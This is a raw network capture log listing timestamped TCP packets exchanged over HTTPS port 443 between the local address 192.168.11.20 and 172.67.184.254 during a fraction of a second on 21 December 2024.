Dec 21, 2024 19:24:48.998101950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:48.998265982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.000170946 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.000262022 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.000341892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.000417948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.000447035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.000503063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.000705004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.002494097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.002552032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.002738953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.002789974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.002872944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.002969027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.004748106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.004795074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.005018950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.005018950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.005018950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.005081892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.005101919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.005103111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.005240917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.007442951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.007508039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.007613897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.007613897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.007656097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.007656097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.007678032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.007725954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.007817030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.009632111 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.009711027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.009927988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.010291100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.010345936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.010760069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.012031078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.012080908 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.012213945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.012214899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.012259960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.012284994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.012326956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.012429953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.014112949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.014159918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.014348030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.014393091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.014419079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.014539003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.114521027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.114579916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.114737988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.114737988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.114806890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.114830017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.114830017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.115045071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.116556883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.116605997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.116750956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.116750956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.116811991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.116878033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.116980076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.118944883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.119033098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.119118929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.119119883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.119168043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.119168043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.119194984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.119215965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.119395971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.121007919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.121078014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.121251106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.121252060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.121306896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.121329069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.121465921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.123879910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.123945951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.124067068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.124104977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.124182940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.124429941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.125715971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.125785112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.125956059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.125956059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.126008034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.126030922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.126030922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.126187086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.128431082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.128498077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.128633976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.128772974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.128834009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.129077911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.130366087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.130428076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.130635977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.130635977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.130691051 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.130896091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.133042097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.133099079 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.133227110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.133265972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.133285999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.133373976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.133440971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.135098934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.135157108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.135325909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.135399103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.135432005 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.135597944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.137716055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.137789965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.137903929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.137988091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.138022900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.138195992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.139704943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.139767885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.139961958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.140014887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.140045881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.140187979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.142260075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.142350912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.142518044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.142569065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.142602921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.142746925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.144344091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.144422054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.144517899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.144591093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.144591093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.144619942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.144759893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.146955967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.147026062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.147177935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.147177935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.147243023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.147264004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.147424936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.148931980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.149008036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.149110079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.149110079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.149158955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.149158955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.149183035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.149209976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.149338007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.151530981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.151599884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.151679039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.151721954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.151814938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.151834965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.152002096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.153650999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.153718948 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.153830051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.153830051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.153887987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.153887987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.153914928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.153938055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.154057980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.156150103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.156219959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.156322956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.156322956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.156373978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.156373978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.156403065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.156421900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.156554937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.158730984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.158829927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.158931971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.158932924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.159073114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.159122944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.159333944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.161113024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.161170006 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.161365986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.161401033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.161413908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.161557913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.162823915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.162882090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.163022041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.163022041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.163115025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.163139105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.163285017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.165451050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.165512085 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.165615082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.165657997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.165657997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.165685892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.165770054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.165851116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.167999983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.168056965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.168236017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.168236017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.168272972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.168292999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.168476105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.170139074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.170186996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.170339108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.170397043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.170423985 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.170444012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.170567036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.172920942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.172976971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.173145056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.173187017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.173202038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.173336029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.191867113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.191927910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.192075968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.192076921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.192137003 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.192157984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.192210913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.192328930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.244766951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.244823933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.244959116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.244959116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.245016098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.245084047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.245176077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.247342110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.247400999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.247550011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.247636080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.247668982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.247857094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.249496937 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.249546051 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.249675035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.249721050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.249744892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.249804020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.249921083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.252007008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.252089977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.252207994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.252321959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.252351999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.252494097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.254293919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.254374981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.254492044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.254492044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.254553080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.254621029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.254781008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.257132053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.257179976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.257318974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.257472038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.257496119 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.257709026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.258757114 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.258801937 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.258934021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.258992910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.258992910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.259020090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.259217978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.261075974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.261133909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.261301041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.261301041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.261360884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.261389971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.261418104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.261569023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.263525009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.263581038 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.263708115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.263802052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.263802052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.263809919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.264045000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.265608072 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.265620947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.265842915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.265855074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.265933990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.266011000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.268023014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.268032074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.268212080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.268212080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.268265963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.268271923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.268281937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.268352985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.268399954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.270443916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.270454884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.270617008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.270700932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.270709991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.270847082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.272491932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.272502899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.272732019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.272732019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.272739887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.272794008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.272862911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.274504900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.274513960 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.274682999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.274682999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.274693966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.274728060 CET	49766	443	192.168.11.20	172.67.184.254
